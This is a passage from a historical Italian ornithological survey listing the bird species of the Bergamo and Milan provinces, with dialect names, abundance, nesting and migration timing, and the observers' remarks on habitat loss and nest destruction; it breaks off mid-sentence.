Bergamo (Stefanini Giovanni): La provincia di Bergamo è fertilissima ed ha una superficie di 220 leghe quadrate, una quinta parte trovasi in pianura, il resto è montuoso; possiede alcuni piccoli laghi, ed i fiumi Adda, Brembo e Serio. Confina colle provincie di Sondrio, Como, Milano, Cremona e Brescia. La temperatura media annuale è di +13° centigradi ed ha per estremi il — 10° ed il +27° e 28°. Nella parte montuosa l'aria è secca, leggera e saluberrima; nella parte bassa è invece umida e pesante. La grandine non è rara, le brine vi sono frequenti, le nebbie spesse volte densissime. Elenco generale delle specie di uccelli osservate nella provincia di Bergamo, coi nomi volgari locali ed indicazioni di frequenza, ubicazione ecc. Corvus Corax, Croff gros. È scarsissimo, vive in montagna. Corvus Corone, Croff nigher. È frequente sulle alte vette. Corvus Cornix, Cornagia griza. È scarsissima, vive sui monti. Corvus frugilegus, Croff, Cornagia negra. È frequente al piano durante le nevi. Lycos Monedula, Tacola. È scarsissima. Nucifraga Caryocatactes, Gaza nisolera. Scarsissima sui monti ed al piano. Pica rustica, Gaza ladra. Vive sui monti ed al piano. Garrulus glandarius, Gaza carnera. È frequente sui monti ed al piano. Sturnus vulgaris, Stornel. È comune in pianura. Fringilla cœlebs, Franguel. È frequente al monte ed al piano. Fringilla Montifringilla, Montanel. È frequente al monte ed al piano durante il passo. Passer montanus, Pasera busareola. Frequente al monte ed al piano. Passer Italiae, Paserù merder. Frequente al monte ed al piano. Coccothraustes vulgaris, Frisù. Scarso ai monti ed al piano. Ligurinus Chloris, Amarot. Scarso ai monti ed al piano. Chrysomitris Spinus, Logherì. È frequente al monte ed al piano durante il passaggio. Carduelis elegans, Raari. Vive in pianura ed è frequente; scarso ai monti. Serinus hortulanus, Sverzerì. Scarsissimo, è solo di passaggio ai monti ed al piano. Cannabina Linota, Ocanell. È frequentissimo ai monti ed al piano, ma solo di passo. Ægiothus Linarius, Cardinalì. È scarsissimo ai monti ed al piano lorquando è di passo. Pyrrhula europæa, Siglot. Scarso ai monti ed al piano, solo di passaggio. Loxia Curvirostra, Becc in crus. Compare irregolarmente di passaggio nei monti. Miliaria Projer, Tétà rais. Scarso e solo di passo in pianura. Emberiza Citrinella, Pajarana. Scarso al piano ed al monte. Emberiza Hortulana, Ortolà. È frequente al monte ed al piano. Emberiza Cia, Spions. Frequente al monte ed al piano, solo di passo. Emberiza Schoeniclus, Spions de la larga. Poco frequente, vive in pianura. Melanocorypha Calandra, Calandra. È frequente in pianura. Alauda arborea, Lodolf. È frequente al piano ed al monte. Alauda arvensis, Lodola. È frequente al piano ed al monte. Galerita cristata, Calandra col capeùs. Scarsa, vive al piano. Agrodroma campestris, Sguisetù. Scarso, vive in pianura durante il passo. Anthus pratensis, Sguisèta. È frequente in pianura. Athus trivialis, Guina. È frequente durante il passo al monte ed al piano. Budytus flavus, Boar. È frequente in pianura durante il passo. Motacilla alba, Balavota. È frequente in pianura. Calobates melanope, Balarina. È frequente in pianura lungo i canali d'acqua. Saxicola Oenanthe, Cul bianc. È frequente durante il passo al monte ed al piano. Monticola saxatilis, Caròsòl. Scarso, vive sui monti. Monticola Cyanus, Passera solitaria. È scarsa, vive sui monti. Merula nigra, Merlo. È frequente sui monti ed al piano. Merula torquata, Merla montana. È scarsa, vive sui monti. Turdus pilaris, Viscera. È frequente durante il passo al monte ed al piano. Turdus iliacus, Sdordè. È frequente durante il passo al monte ed al piano. Turdus musicus, Durt. Frequent alla montagna ed alla pianura. Turdus viscivorus, Drèsa. È scarsa, vive al monte ed al piano. Aëdon Luscinia, Rosigneol. È scarso, vive sui monti ed al piano. Erithacus Rubecula, Picial. È frequentissimo durante il passo al monte ed al piano. Cyanecula Wolfi, Morat de la stela. È scarsissimo al monte ed al piano. Ruticilla Phoenicurus, Morat. È frequentissimo durante il passo al monte ed al piano. Ruticilla titys, Morat carburner. Scarso al monte ed al piano. Pratincola Rubicola, Machetti di montagna. Scarso al monte ed al piano. Pratincola Rubetra, Machet. È frequente durante il passo ai monti ed al piano. Sylvia cinerea, Sardagna. È frequente al monte ed al piano. Sylvia Curruca, Beca mure. È scarsa al monte ed al piano. Monachus Atricapillus, Capnigher. È frequente al piano ed al monte. Monachus hortensis, Becafic. È frequente durante il passo al monte ed al piano. Phylloscopus sibilator, Tuì verd. È frequente al monte ed al piano. Phylloscopus Trochilus, Tuì zald. È frequente al monte ed al piano. Phylloscopus Bonellii, Tuì bianch. È frequente al monte ed al piano. Phylloscopus rufus, Tuì. È frequente alla montagna ed alla pianura. Hypolais icterina, Tuinot. Scarso, vive in pianura. Acrocephalus palustris, Ciochēta. Scarso, vive in pianura. Troglodytes parvulus, Reati o Buzaseze. È frequente sul monte ed al piano. Cinclus aquaticus, Merla aquareola. Scarso, vive lungo i margini del Brembo. Accentor modularis, Matèla. È frequente durante il passo al monte ed al piano. Regulus ignicapillus, Steli. È frequente al monte ed al piano. Acredula rosea, Scoasi. È frequente al monte ed al piano. Parus major, Paisōla. È frequente al monte ed al piano. Parus ater, Ciùuci. È frequente sui monti, al tempo del passo anche al piano. Cyanistes caeruleus, Moneghina. Scarsa ai monti ed al piano. Sitta caesia, Picot seneri. È frequente nei boschi in pianura. Certhia brachydactyla, Rampighi. È scarso, vive nei boschi della pianura. Tichodroma muraria, Barbell dè corna. È scarso, vive sulle alte montagne. Oriolus Galbula, Galber. È scarso in pianura, vive raro ai monti. Lanius Excubitor, Gazeola frizunera. È scarsa, vive in pianura. Lanius minor, Gazeola frizunera picola. È scarsa, vive in pianura. Lanius Collurio, Gazeola. È frequente ai monti ed al piano. Muscicapa collaris, Alët. Frequente al piano ed al monte. Muscicapa Atricapilla, Alët nigher. Frequente al piano ed al monte. Butalis Grisola, Aletù. È scarso ai monti ed al piano. Hirundo rustica, Rondena. È frequente al monte ed al piano. Chelidon urbica, Darlù. È frequente al monte ed al piano. Clivicola riparia, Rondena. È frequente al monte ed al piano. Cypselus Apus, Darlù. È frequente al monte ed al piano. Caprimulgus europaeus, Squirtusatt. Scarso ai monti ed al piano. Picus major, Picot ross. Frequentè al piano. Gecinus viridis, Picot verde. Scarso, vive in pianura. Iynx Torquilla, Beca foermighe. Frequentè al piano. Cuculus canorus, Cöch. Frequentè al piano ed al monte. Alcedo Ispida, Piomb. È frequentè in pianura nei luoghi acquosi. Upupa Epopis, Büba. È scarsa, vive in pianura. Strix flammea, Dama. Frequentè ai monti ed al piano. Syrnium Aluco, Lok di Bosk. Scarso, vive sui monti. Asio Otus, Lok. Scarso, vive sui monti. Athene Noctua, Sieta. Frequentè al piano. Scops Giu, Locket o Siseol. Frequentè ai monti ed al piano. Bubo maximus, Dus. È scarsa, vive sui monti. Buteo vulgaris, Pojana. Frequentè sui monti. Hypotriorchis Subbuteo, Falchet di Lodole. Frequentè ai monti ed al piano. Æsalon regulus, Ganiel di franguei. Scarso al piano ed al monte. Cerchneis Tinnunculus, Falchet de Tör. Scarso al piano ed al monte. Botaurus stellaris, Cù de Sère o Scacc. Scarso, vive al piano. Anas Boscas, Nedrot salvaedeg. Scarso, vive in pianura. Mareca Penelope, Cò rosso. Scarso, vive in pianura. Nettion Crecca, Garganell. Scarsa, vive in pianura. Querquedula Circia, Garganell. È scarsa, vive in pianura. Turtur tenera, Tortora. È scarsa, vive in pianura. Perdix saxatilis, Coturna. È scarsa, vive sui monti. Starna Perdix, Pernis. È scarsa ai monti ed al piano. Coturnix communis, Quaia. Frequentè al monte ed al piano. Lyrurus Tetrix, Gal de montagna. Scarso, vive sui monti. Lagopus mutus, Roncass. Scarso, vive sui monti. Rallus aquaticus, Grugnett. Frequent, vive al piano. Ortygometra Porzana, Gilardina. Frequent in pianura. Crex pratensis, Re de quae. Frequent in pianura. Gallinula chloropus, Grugnetù. È scarsa, vive in pianura. Fulica atra, Folega. È scarsa, vive in pianura. Charadrius Pluvialis, Codur. Scarso, vive in pianura. Vanellus Capella, Paunsi. Scarsa, vive in pianura. Tringoïdes Hypoleucus, Cul bianc d’aqua. Scarso, vive in pianura. Scolopax Rusticula, Pola. È frequente al monte ed al piano. Gallinago major, Sgnepù. È scarso al monte ed al piano. Gallinago caelestis, Sgnepa. È frequente al monte ed al piano. Gallinago Gallinula, Sgnepi. È frequente in pianura. Podiceps fluviatilis, Sott’aqui. È scarso, vive al piano nei laghi e fiumi. Elenco delle specie di uccelli che sono sedentarie nella provincia di Bergamo. Corvus frugilegus. Turdus musicus. Garrulus glandarius. Monachus Atricapillus. Sturnus vulgaris. Parus major. Fringilla coelebs. Parus ater. Passer montanus. Acredula rosea. Passer Italiae. Picus major. Carduelis elegans. Gecinus viridis. Emberiza Citrinella. Strix flammea. Melanocorypha Calandra. Athene Noctua. Alauda arvensis. Perdix saxatilis. Monticola Cyanus. Starna Perdix. Merula nigra. Lyrurus Tetrix. 1 L’osservatore nel rispondere al presente quesito si attenne alla citazione di tutte quelle specie che sono sedentarie in questa provincia, e di quello di passaggio, tacendo di quelle, la cui apparizione sarebbe da considerarsi accidentale. Elenco delle specie di uccelli le quali nidificano nella provincia di Bergamo. Garrulus glandarius. Sturnus vulgaris. Fringilla coelebs. Passer montanus. Passer Italiæ. Coccothraustes vulgaris. Carduelis elegans. Emberiza Citrinella. Emberiza Hortulana. Melanocorypha Calandra. Alauda arborea. Alauda arvensis. Galerita cristata. Motacilla alba. Calobates melanope. Monticola saxatilis. Monticola Cyanus. Merula nigra. Turdus musicus. Turdus viscivorus. Aëdon Luscinia. Pratincola Rubicola. Sylvia cinerea. Monachus Atricapillus. Acrocephalus palustris. Troglodytes parvulus. Regulus ignicapillus. Acredula rosea. Parus major. Parus ater. Sitta cæsia. Certhia brachydactyla. Lanius Excubitor. Lanius minor. Lanius Collurio. Hirundo rustica. Chelidon urbica. Clivicola riparia. Cypselus Apus. Cuculus canorus. Alcedo Ispida. Strix flammea. Athene Noctua. Cerchneis Tinnunculus. Perdix saxatilis. Starna Perdix. Coturnix communis. 1 Non essendosi lo scrivente mai occupato di osservazioni intorno alla nidificazione degli uccelli, è dolentissimo di non poter somministrare qualche dato in materia. Esso però fece le necessarie annotazioni delle richieste e non mancherà a tempo opportuno di occuparsi in simili e dilettevoli studi, ed appena avrà potuto raccogliere qualche interessante notizia, per osservazioni proprio, o ben autenticate, si farà premura parteciparle a codesta onorevole Direzione dell'Ufficio ornitologico. Intanto però non crede inutile dare qui di seguito una nota delle principali specie che nidificano in questa provincia. (Stefanini). Elenco delle specie di uccelli che sono di passaggio regolare nella provincia di Bergamo. Corvus frugilegus. È di passaggio nella 2ª metà di novembre. Garrulus glandarius. È di passaggio nella 2ª quindicina di ottobre e nella 1ª quindicina di marzo. Sturnus vulgaris. Durante tutto il mese di ottobre è di passaggio in numerosissimi stormi. Fringilla coelebs. È di passaggio dalla prima metà di ottobre alla metà di novembre, e di ripasso nel mese di marzo. Fringilla Montifringilla. Il suo regolare passaggio è dagli ultimi quindici giorni di ottobre a tutto novembre. Passer montanus. È di passaggio in numerosi branchi nella 2ª quindicina di ottobre. Passer Italiae. È di passaggio alla medesima epoca del P. montanus anzi si frammiscia con quello ma in minor quantità. Coccothraustes vulgaris. Il suo passaggio si effettua nella 2ª quindicina di ottobre, ma in numero molto limitato. Carduelis elegans. È di passo in pochissima quantità nella 2ª quindicina di ottobre, nella 1ª di novembre ed alla fine di marzo. Chrysomitrís Spinus. È di passaggio nel mese di ottobre sino alla metà di novembre e nel mese di marzo. Emberiza Citrinella. Di passo piuttosto scarso dalla 2ª metà di ottobre sino alla 1ª quindicina di novembre. Emberiza Hortulana. Di passaggio non troppo abbondante nel mese di agosto. Emberiza Cia. È di passaggio nella 2ª quindicina di ottobre a tutta la 1ª di novembre. ¹ Osservasi che diverse delle qui accennate specie quantunque annerate anco quali sedentarie, presentano però un numero di individui più o meno rilevante provenienti da altre regioni che sono di passaggio (Stefanini). Emberiza Schœniclus. Il passo è nella 2ª quindicina di ottobre. Melanocorypha Calandra. Di passaggio in scarsissima quantità nella 1ª quindicina di novembre. Alauda arborea. È di passaggio nella 2ª quindicina di ottobre e nella 2ª quindicina di marzo. Alauda arvensis. È di passaggio (se le stagioni sono buone) nella 1ª quindicina di novembre in branchi abbondantissimi. Agrodroma campestris. È di passaggio in scarsa quantità nella 2ª quindicina di ottobre. Anthus pratensis. Il passo si effettua nella 2ª quindicina di agosto e nella 2ª di marzo. Anthus trivialis. Di passaggio nel mese di agosto ed in marzo. Motacilla alba. Il passo si effettua nella 2ª metà di ottobre. Calobates melanope. È di passaggio dalla metà di settembre a tutto ottobre, ma in limitata quantità. Saxicola Oenanthe. È di passaggio nella 2ª quindicina di agosto e nella prima quindicina di aprile. Turdus pilaris. È di passaggio nella 1ª quindicina di novembre a tutto dicembre, ed in febbraio. Turdus iliacus. Il passo si effettua la 1ª quindicina di novembre. Turdus musicus. Col favore di una bella stagione il passo è assai numeroso dal 1º al 20 ottobre e nella 1ª quindicina di aprile. Turdus viscivorus. Passaggio molto scarso nella 1ª metà di novembre. Erithacus Rubecula. Passaggio abbondante tutto l'ottobre sino alla metà di novembre. Ruticilla Phœnicurus. Passaggio abbondante nella 1ª quindicina di settembre, e in quella di aprile. Pratincola Rubetra. È di passaggio nella 2ª quindicina di agosto e nella 2ª quindicina di aprile. Sylvia cinerea. Il passaggio si effettua nella 1ª quindicina di agosto e nella 1ª quindicina di aprile. Monachus Atricapillus. È di passo durante il mese di agosto e nella 1ª quindicina di aprile. Monachus hortensis. È di passaggio dalla 1ª quindicina di agosto a tutta la 1ª quindicina di settembre. Phylloscopus sibilator. Il passo dura tutto il mese di agosto. Phylloscopus Trochilus. Come il precedente è di passo durante l'agosto. Phylloscopus Bonellii. È di passaggio nella 2ª quindicina di luglio e nella 1ª quindicina di agosto. Phylloscopus rufus. È di passo in ottobre e di ripasso nella 2ª quindicina di marzo e la 1ª quindicina di aprile. Hypolais icterina. Passaggio scarso durante il mese di agosto. Troglodytes parvulus. È di passaggio nel mese di ottobre e novembre, e di ripasso nel marzo. Accentor modularis. Il passo si effettua in ottobre ed il ripasso nella 1ª quindicina di aprile. Regulus ignicapillus. È di passaggio nella 2ª quindicina di ottobre e nella 1ª di novembre. Acredula rosea. È di passo durante l'ottobre. Parus major. È di passo nella 2ª quindicina di ottobre e nella 1ª di novembre. Parus ater. È di passaggio nella 2ª metà di settembre a tutto ottobre. Questa specie che è pure qui sedentaria non tiene un regolare passaggio tutti gli anni, ma lo sospende alle volte per due ed anche tre annate, lorquando però viene effettuato è abbondantissimo e riesce di non poco divertimento a molti bambini che con una pania fissa alla gabbia contenente uno di questi uccelli, appesa alla finestra, anche nell'interno della città, ne catturano diversi. Cyanistes caeruleus. Passaggio scarso nella 2ª quindicina di ottobre e nella 1ª quindicina di novembre. Oriolus Galbula. Passaggio scarso nei mesi di agosto e magg. Lanius Excubitor. Passaggio scarsissimo in settembre. Lanius minor. Passaggio scarso la 1ª quindicina di agosto. Lanius Collurio. È di passaggio nella 1ª quindicina di agosto e 2ª quindicina di aprile. Muscicapa collaris. È di passaggio durante il mese di agosto e nella 2ª quindicina di aprile. Muscicapa Atricapilla. Il passo verificasi eguale alla precedente. Butalis Grisola. Passaggio scarso durante la 1ª quindicina di agosto. Hirundo rustica. Chelidon urbica. Clivicola riparia. Le tre suaccennate specie giungono nella 1ª quindicina di aprile, nidificano, e ripartono durante il mese di settembre. Cypselus Apus. Come per le tre specie precedenti. Caprimulgus europaeus. È raro; il suo passo effettuasi nell’agosto. Lynx Torquilla. È di passaggio durante il mese di settembre e nell’aprile. Cuculus canorus. Giunge nella 2ª metà di aprile e ci abbandona nell’agosto. Scops Giú. È di passaggio nel mese di agosto. Botaurus stellaris. Se ne incontrano alcuni individui di passo nella 1ª quindicina di agosto e nella 2ª di aprile. Anas Boscas. Mareca Penelope. Nettion Crecca. Querquedula Circia. Queste quattro specie, quantunque in poca quantità, effettuano il loro passaggio nella 2ª quindicina di novembre a tutto dicembre, e se ne catturano diverse durante le nevi. Coturnix communis. Giunge in questa provincia nel mese di maggio e parte in agosto. Rallus aquaticus. Ortygometra Porzana. Crex pratensis. Gallinula chloropus. Le quattro suaccennate specie sono di passo durante il mese di agosto ed in aprile, alcune però se ne catturano anche durante il settembre. Fulica atra. È di passo durante il dicembre e gennaio ma in poca quantità. Charadrius Pluvialis. È di scarso passaggio in novembre ed in marzo. Vanellus Capella. È di scarso passaggio in dicembre ed in aprile. Scolopax Rusticula. È di passo nella 2ª quindicina di ottobre e nella 1ª di novembre, e nella 2ª di marzo. Gallinago major. È di scarsissimo passaggio che verificasi nella 1ª quindicina di novembre, e dalla metà di marzo a tutto aprile. Gallinago caelestis. Il passo si effettua dal principio di agosto sino alla fine di novembre, ed in primavera dalla metà di febbraio a tutto aprile; non è poi raro il caso di catturarne diversi anche durante le nevi. Gallinago Gallinula. Giunge in ottobre e riparte dalla 2ª metà di aprile alla 1ª di maggio. Elenco delle specie di uccelli di apparizione accidentale nella provincia di Bergamo. Pastor roseus. Ardea cinerea. Petronia stulta. Ardea purpurea. Montifringilla nivalis. Ardetta minuta. Calcarius nivalis. Nycticorax griseus. Accentor collaris. Columba Palumbus. Panurus biarmicus: Otis Tarda. Coracias Garrula. Otis Tetraz. Merops Apiaster. Ædienemus scolopax. Nyctala Tengmalmi. Ægialitis curonica. Circus cyaneus. Totanus Ochropus. Aquila Chrysaëtus. Milano (Brambilla nob. Giuseppe). Castellanza trovansi a metà strada circa fra Milano ed il Lago Maggiore. Il paese è piano tutt'attorno, ma è solcato da una ristretta e poco profonda valle, formata dal piccolo fiume Olona, che ha le sue sorgenti nei monti presso Varese e si disperde nei canali di irrigazione presso Milano. Ad E. la pianura si estende fino alle colline Comasche e Briantee. Al S. si congiunge colle grandi pianure della valle del Po. Ad O. si estende fino al Ticino. A N. fino ai colli di Varese e quelli che si trovano fra il Verbano ed il Lario. Il suolo della Castellanza è quasi per intero coltivato pel prodotto dei grani. Vi è pure una abbondante piantagione di gelsi, e prima dalla malattia delle viti, il vino era un prodotto considerevole del territorio. Ora le viti sono coltivate in piccola parte; ma nel limitrofo territorio di Busto Arsizio la coltura della vite si è molto riattivata. Nel detto territorio di Busto Arsizio vi sono pure vaste brughiere che si congiungono con altre che si estendono fino al Ticino, che è alla distanza di circa 11 chilometri dalla Castellanza. Lungo il confine E. di questo territorio vi sono molte pinete che si congiungono a S. con altre boscaglie di Rescalda, Rescaldina, Origgio e Gerenzano ed a N. coi vasti boschi di Porla e di Mozzate detti boschi Majoli, o del Mirabello. La natura del suolo è ghiaiosa ed arida, ma non ingrata. Elenco generale delle specie di uccelli osservate nella provincia di Milano coi nomi volgari locali, indicazioni di frequenza, ecc. Corvus Cornix, Taccola. Scarsa. Corvus frugilegus, Scourbat. Frequent. Pica rustica, Berta. Scarsa. Garrulus glandarius, Gasgia. Frequent. Sturnus vulgaris, Stournell. Frequent. Fringilla cœlebs, Franguell. Frequent. Fringilla Montifringilla, Mountan. Frequent. Passer montanus, Passaretta. Frequent. Passer Italiae, Passera, Passaroun. Frequent. Coccothraustes vulgaris, Frisoûn. Frequent. Ligurinus Chloris, Amorott, Verdôun. Frequent. Chrysomitris Spinus, Legorin. Frequent. Carduelis elegans, Ravarin. Frequent. Serinus hortulanus, Sgarzorin, Verdosin. Scarso. Cannabina Linota, Fanett. Frequent. Ægiothus Linarius, Cardinalin. Scarso. Ægiothus rufescens, Cardinalin. Scarso. Pyrrhula europaea, Zifolott, Gemoûn. Scarso. Loxia Curvirostra, Becch in crous. Scarso. Miliaria Projer, Pravôun. Scarso. Emberiza Citrinella, Spajarda. Frequent.¹ Emberiza Cirlus, Zioûn. Poco frequente. Emberiza Hortulana, Ortolan. Frequent. Emberiza Cia, Zia. Frequent. Emberiza Schœniclus, Ziott. Frequent. Alauda arborea, Turlo. Frequent. Alauda arvensis, Lodola. Frequent. Galerita cristata, Calandra. Frequent. Anthus pratensis, Guzzetta, Guzzettina. Frequent. Anthus trivialis, Dourdina. Frequent. Anthus Spipoletta, Guzzettoûn. Frequent. Budytes flavus, Boarina. Frequent.² Motacilla alba, Bolarotta. Frequent. Saxicola Oenanthe, Cubianch. Frequent. ¹ Ci'è confusione nei nomi volgari delle Emberize. Io chiamo Spajarda la Citrinella del capo giallo; Zioûn la Cirlus col giallo solo in petto; Zia la Cia che col canto dice zia, senza giallo nelle penne; Ziott lo Schœniclus senza giallo, più oscuro della precedente, col capo nero o cinerea la gola. Forse altri useranno altri nomi volgari o li confondono. Io sostengo la mia versione. ² Ci'è gran confusione nei nomi volgari delle Cutrettole. Io chiamo Boarina quella gialla; Balarotta quella bianca e nera. Ce n'è un'altra più bianca con voce più acuta, che chiamerebbesi Balervina che io non conosco bene. A tutte poi si dà il nome generico di Tremacôua. Monticola saxatilis, Corossouloûn. Comune ai monti, scarso al piano. Merula nigra, Merlo. Frequente. Turdus pilaris, Viscarda. Frequente. Turdus iliacus, Dressin, Zipper. Frequente. Turdus musicus, Dourd. Frequente. Turdus viscivorus, Dress, Dressoûn. Frequente. Aëdon Luscinia, Rossigneu. Frequente. Erithacus Rubecula, Picett. Frequente. Cyanecula Wolfi, Pett' azur. Scarsissimo. Ruticilia Phœnicurus, Morett, Coaroussa. Frequente. Pratincola Rubicola, Machett. Frequente. Sylvia cinerea, Sardagna. Frequente. Monachus Atricapillus, Capmegher. Frequente. Phylloscopus sibilator, Tuin. Frequente. Phylloscopus Trochilus, Tuin. Frequente. Phylloscopus rufus, Tuin. Frequente. Calamodus aquaticus, Risireu. Frequente. Troglodytes parvulus, Reotîn. Frequente. Cinclus aquaticus, Merlo d'acqua. Frequenté. Accentor modularis, Passera mattella. Frequenté. Regulus cristatus, Stellin, Codorin. Frequenté. Regulus ignicapillus, Stellin, Codorin. Frequenté. Ægithalus pendulinus, ? Pendolin. Frequenté. Acredula caudata, Pintin. Scarso. Acredula rosea, Pintin. Frequenté. Panurus biarmicus, Todeschin, Ussarin, Ungaresin. Frequenté. Parus major, Parasceula. Frequenté. Parus ater, Parasciolin. Meno frequenté. Cyanistes cæruleus, Moneghin. Frequenté. Pœcile palustris, Moneghin. Frequenté. Sitta cæsia, Picascieu, Picozzin senerin. Frequenté. Certhia brachydactyla, Rampeghin. Frequenté. Oriolus Galbula, Galbèe. Frequenté. Lanius Excubitor, Stragazzoûn, Gasgetta mornera. Frequenté. Lanius minor. Non frequenté. Lanius Collurio, Stragazzetta, Gasgetta. Frequenté. Muscicapa collaris, Alett. Frequent. Muscicapa Atricapilla, Alett. Frequent. Hirundo rustica, Rondena, Rondinella. Frequent. Chelidon urbica, Darden, Cubianch. Frequent. Cypselus Apus, Roundoun. Frequent. Caprimulgus europaeus, Picarán. Frequent. Picus major, Picozz, Picasch. Frequent. Picus medius. Rarissimo. Picus minor. Rarissimo. Gecinus viridis, Picasch gainée. Frequent. Ilynx Torquilla, Stortacoll. Frequent. Cuculus canorus, Cou-coù. Frequent. Alcedo Ispida, Martin Pescoù. Frequent. Upupa Epopos, Buba, Upupa. Frequent. Strix flammea, Lourock, Bella donna. Frequent. Syrnium Aluco, Lourouk. Frequent. Athene Noctua, Sciguetta. Frequent. Scops Giu, Sciscieu. Frequent. Bubo maximus, Gran Dugo. Ai monti, al piano scarso. Aquila Chrysaëtus, Aquila. Ai monti, scarsa al piano. Buteo vulgaris, Pojana. Frequent. Cerchneis Tinnunculus, Falchett de campanin. Frequent. Accipiter Nisus, Falchett. Frequent. Pelecanus Onocrotalus, Pelicán. Rarissimo. Ardea cinerea, Sgolgia, Sgolgioùn. Frequent. Ardea purpurea, Sgolgia roussa. Meno frequente. Ardeola ralloides, Sgolgîn. Rara. Ardetta minuta, Sgolgîn. Frequent. Botaurus stellaris, Tanabûs. Frequent. Nycticorax griseus, Quak, Ajroûn. Meno frequente. Ciconia alba, Sigogna. Rara. Ciconia nigra, Sigogna. Rara. Cygnus musicus, Cing salvadegh. Rarissimo. Anser segetum, Oca salvadega. Frequent. Anas Boscas, Aneda salvadega, Germana. Frequent. Chaulelasmus streperus, Grisetta. Frequent. Spatula clypeata, Cazzulott. Frequent. Dafila acuta, Coll louangh (Sforceloun, Lago Maggiore). Frequent. Mareca Penelope, Còu-rouss. (Pio, Lago Maggiore). Frequent. Nettion Crecca, Garganell. Frequent. Querquedula Circia, Arzadega (da alcuni Crè-crè). Frequent. Fulix ferina, Rossera. (Lago Maggiore). Frequent. Fulix Marila, Morettoûn. Frequent. Fulix Fuligula, Tomireula. (Lago Maggiore). Frequent. Fulix Nyroca. Non frequent. Bucephala Clangula, Quattr’eucc. Poco frequent. Mergus Merganser, Resegott. Scarso. Mergus Serrator, Resegott. (Lago Maggiore). Meno scarso. Columba Palumbus, Tuoun. Frequent. Columba Oenas, Puvioûn salvadegh. Frequent. Columba livia, Puvioûn de Colombèra. Frequent. Turtur tenera, Tourtora, Tourtorella. Frequent. Perdix rufa, Cotornis, Cotourno. In montagna frequent. Starna Perdix, Pernîs. Frequent. Coturnix communis, Quaja. Frequent. Tetrao Urogallus, Cedroun, Gall cedroûn. In montagna non frequent. Lyrurus Tetrix, Gall de montagna, Fasan de montagna, maschio; Gallina de montagna, Fasanella de montagna, femmina. Frequent in montagna. Bonasa betulina, Francolin. In montagna frequent. Lagopus mutus, Erbolana. In montagna frequent. Rallus aquaticus, Grugnett. Frequent. Ortygometra Porzana, Gilardina. Frequent. Ortygometra Bailloni, Calchin. Frequent. Ortygometra parva, Calchin. Frequent. Crex pratensis, Re de Quaj. Frequent. Gallinula chloropus, Grugnettoûn gianùe, maschio; Gilardina gianera, femmina. Frequent. Fulica atra, Folega. Frequent. Grus communis, Gru. Scarsa. Otis Tarda, Otarda, Pollin salvadegh. Rarissima. Otis Tetrax. Rara. Œdicnemus scolopax, Oggion, Usell legoratt. Non frequente. Charadrius Pluvialis, Pivé doré, Codur. Frequent. Ægialitis curonica, (Stornoûn, Lago Maggiore). Frequent. Vanellus Capella, Vanetta, Pavonzina. Frequent. Hæmatopus Ostralegus, Galinazza de mâr. Rarissima. Pelidna alpina, Gireu (Rivelin, Lago Maggiore). Frequent. Actodromas minuta, Gambett. Frequent. Machetes Pugnax, Gambett, Gambettoûn. Frequent. Tringoïdes Hypoleucus, Gambett. Frequent. Totanus Ochropus, Cubianca, Travacola. Frequent. Totanus Glareola. Raro. Limosa melanura, Sgneppôun de mâr. Rara. Scolopax Rusticula, Galinazza. Frequent. Gallinago major, Sgnepôun. Frequent. Gallinago cælestis, Sgnèpa. Frequent. Gallinago Gallinula, Sgnepìn. Frequent. Numenius Arquata, Seguroun. (Cor marin, Lago Maggiore). Frequent. Numenius Phæopus. Raro. Sterna fluviatilis, Sgarin. Frequent. Sternula minuta, Sgarin. Frequent. Hydrochelidon nigra,¹ Sgarin negher. Poco frequent. Colymbus arcticus, Duca (Lago Maggiore). Rarissima. Podiceps cristatus, Giver (Lago Maggiore). Raro. Podiceps fluviatilis, Sottaquin, Piombin. Frequent. ¹ Si vedono vari Laridi sui laghi dove in genere si chiamano Sgaretûon de mâr. Elenco delle specie di uccelli che sono sedentarie nella provincia di Milano e specialmente a Castellanza, circondario di Gallarate. Corvus Cornix. Scarsa. Merula nigra. Scarso. Pica rustica. Scarsa. Turdus viscivorus. Scarsa. Garrulus glandarius. Comune. Parus major. Scarsa. Fringilla coelebs. Scarso. Picus major. Scarso. Passer montanus. Abbondante. Gecinus viridis. Scarso. Passer Italiae. Abbondante. Strix flammea. Scarso. Ligurinus Chloris. Scarso. Syrnium Aluco. Si crede perso. Alauda arborea. Scarsa. Athene Noctua. Scarsa. Alauda arvensis. Scarsa. Accipiter Nisus. Scarso. Motacilla alba. Scarsa. Starna Perdix. Comune. Queste sono le specie che io crederei veramente sedentarie in questo altipiano nordico Lombardo, dominato dai venti gelati, che direttamente scendono dalle Alpi, talvolta in forma di vera tormenta. La temperatura iemale in questa località, massime all’aurora, è assai bassa e quando il suolo è tutto coperto di neve e intenso il gelo, varie di queste specie, compresa la Starna Perdix, pare che scompaiano momentaneamente per riparare presso ai laghi, ai fiumi, o presso le acque sorgive della bassa Lombardia in cerca di clima meno aspro e di possibile alimento, ricomparendo appena la stagione si fa più mite. I passeri stessi fuggono dalle campagne e si rifugiano nei casolari del villaggio. Due vasti giardini, adorni di una massa di annosi coniferi, la valletta del piccola fiume Olona, fiancheggiato da altissimi alberi, valgono a trattenere in questo territorio gran parte delle specie qui notate come sedentarie, altrimenti nella nuda campagna ben poche se ne fermerebbero nell’inverno. (Brambilla). Elenco delle specie di uccelli le quali nidificano nella provincia di Milano, circcondario di Gallarate, preceduto da alcune considerazioni in proposito. Non sono molte le specie di uccelli che nidificano in questa località e queste specie ed il numero degli individui vanno sempre scemando sensibilmente. Causa di questa diminuzione è in gran parte lo sboscamento. A mia memoria le campagne e le strade campestri erano fiancheggiate da siepi con grossi alberi di quercia e di castagno. Nei campi stessi vi erano spesso boschetti di castagno che fornivano i tutori per le viti, di cui allora tutto piantato era questo territorio. Ora non vi sono più viti, nè quercie, nè castagni, nè boschetti. Tutto è scomparso. Non vi sono che siepi di Robinia, che si tagliano al piede ogni due anni, e i Gelsi. Molti uccelli quindi non trovano dove nascondere i loro nidi. Pure dei nidi se ne fanno ancora, ma questi vengono inesorabilmente distrutti dai contadinelli. Nei giorni festivi massimamente, tutti i ragazzi del paese si sbandano pei campi in cerca di nidiate, per il solo scopo e la voluttà della loro distruzione. È cosa incredibile la persistenza loro in quell’opera vandalica. Nessuno li ammonisce, nessuno li trattiene ed il danno va crescendo. Il Governo dovrebbe preoccuparsene e porvi un freno. Esistono leggi di caccia abbastanza buone, ma nessuno invigila per farle osservare e tutti le trasgrediscono impunemente. In Isvizzera nessuno tocca mai un nido, perchè vi sono divieti rigorosi ed il popolo è stato educato a rispettarli. Il Ministero dell’Istruzione Pubblica dovrebbe prescrivere ai maestri di campagna di inculcare ai 